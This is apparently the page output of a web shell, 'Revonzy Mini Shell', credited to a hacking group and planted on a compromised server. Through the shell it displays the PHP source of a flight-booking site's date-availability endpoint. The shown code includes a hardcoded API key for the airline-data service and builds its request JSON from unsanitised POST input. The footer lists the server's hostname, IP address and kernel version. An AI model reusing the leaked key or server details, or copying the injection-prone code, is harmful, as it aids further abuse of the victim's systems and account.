Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/api/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/api/date-availability.php

<?php
    require_once('../lib/functions.php');
	$db		=	new class_functions();
	
	if(isset($_POST['selected_origin']) AND isset($_POST['selected_destination']))
	{
	    $selected_origin =  $_POST['selected_origin'];
	    $selected_destination =  $_POST['selected_destination'];
	    
 $authorizaed_key_token = "";
 $api_type = "AIRIQ";
 $authorizaed_key_token = $db->get_last_token_entry_from_api_login($api_type);
	    
$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'https://omairiq.azurewebsites.net/availability',
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS =>'    {
    "origin":"'.$selected_origin.'",
    "destination":"'.$selected_destination.'"
    }
',
  CURLOPT_HTTPHEADER => array(
    'api-key: Mjc0NTI1MDpOQU1ERU8gVE9VUlMgJiBUUkFWRUxTOjE4ODQ2Njg1NjE4MjA6YXkzTXVLbkpUUFE4S3RkSzRIUXcydC82VDZIeFFYQTRsRGpFVDZ1L2V5QT0=',
    'Authorization:'.$authorizaed_key_token,
     'Content-Type: application/json'
  ),
));

$response = curl_exec($curl);

curl_close($curl);
//echo $response;


//$response = '{"code":"200","status":"success","data":["29-Aug-2024","30-Aug-2024","31-Aug-2024","01-Sep-2024","02-Sep-2024","03-Sep-2024","04-Sep-2024","05-Sep-2024","06-Sep-2024","07-Sep-2024","08-Sep-2024","09-Sep-2024","10-Sep-2024","11-Sep-2024","13-Sep-2024","14-Sep-2024","15-Sep-2024","16-Sep-2024","17-Sep-2024","18-Sep-2024","19-Sep-2024","20-Sep-2024","21-Sep-2024","22-Sep-2024","23-Sep-2024","24-Sep-2024","25-Sep-2024","26-Sep-2024","27-Sep-2024","28-Sep-2024","29-Sep-2024","30-Sep-2024","01-Oct-2024","02-Oct-2024","03-Oct-2024","05-Oct-2024","06-Oct-2024","07-Oct-2024","08-Oct-2024","09-Oct-2024","10-Oct-2024","11-Oct-2024","12-Oct-2024","13-Oct-2024","14-Oct-2024","15-Oct-2024","16-Oct-2024","17-Oct-2024","18-Oct-2024","19-Oct-2024","20-Oct-2024","21-Oct-2024","22-Oct-2024","23-Oct-2024","24-Oct-2024","25-Oct-2024","26-Oct-2024","27-Oct-2024","28-Oct-2024","29-Oct-2024","30-Oct-2024","31-Oct-2024","01-Nov-2024","02-Nov-2024","03-Nov-2024","04-Nov-2024","05-Nov-2024","06-Nov-2024","07-Nov-2024","08-Nov-2024","09-Nov-2024","15-Nov-2024","16-Nov-2024","17-Nov-2024","18-Nov-2024","19-Nov-2024","20-Nov-2024"]}';

$result_array	=	json_decode($response);
$result_array = json_decode(json_encode($result_array), true);

$response_code = $result_array['code'];
$response_status =  $result_array['status'];

if($response_code=="200")
{
    $response_data =  $result_array['data'];

    if(!empty($response_data))
    {
        $avlbl_date_data = array();
        $dates_string = "";
        foreach($response_data as $records)
        {
        	$available_date = $records;
        	
        	$exploded_date = explode("-",$available_date);
        	
        	if ($exploded_date[1]=="Jan")
        	{
                $exploded_date[1]="01";
            }
            else if ($exploded_date[1]=="Feb")
        	{
                $exploded_date[1]="02";
            }
            else if ($exploded_date[1]=="Mar")
        	{
                $exploded_date[1]="03";
            }
            else if ($exploded_date[1]=="Apr")
        	{
                $exploded_date[1]="04";
            }
            else if ($exploded_date[1]=="May")
        	{
                $exploded_date[1]="05";
            }
            else if ($exploded_date[1]=="Jun")
        	{
                $exploded_date[1]="06";
            }
            else if ($exploded_date[1]=="Jul")
        	{
                $exploded_date[1]="07";
            }
            else if ($exploded_date[1]=="Aug")
        	{
                $exploded_date[1]="08";
            }
            else if ($exploded_date[1]=="Sep")
        	{
                $exploded_date[1]="09";
            }
            else if ($exploded_date[1]=="Oct")
        	{
                $exploded_date[1]="10";
            }
            else if ($exploded_date[1]=="Nov")
        	{
                $exploded_date[1]="11";
            }
            else if ($exploded_date[1]=="Dec")
        	{
                $exploded_date[1]="12";
            }
            
            if($dates_string=="")
            {
                $dates_string = $exploded_date[2].'-'.$exploded_date[1].'-'.$exploded_date[0];
            }
            else
            {
                $dates_string = $dates_string.','.$exploded_date[2].'-'.$exploded_date[1].'-'.$exploded_date[0];
            }
        }
        if($dates_string!="")
        {
            echo $dates_string;
        }
    }
}
else
{
   echo "error:".$response;
}

	}
?>	

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4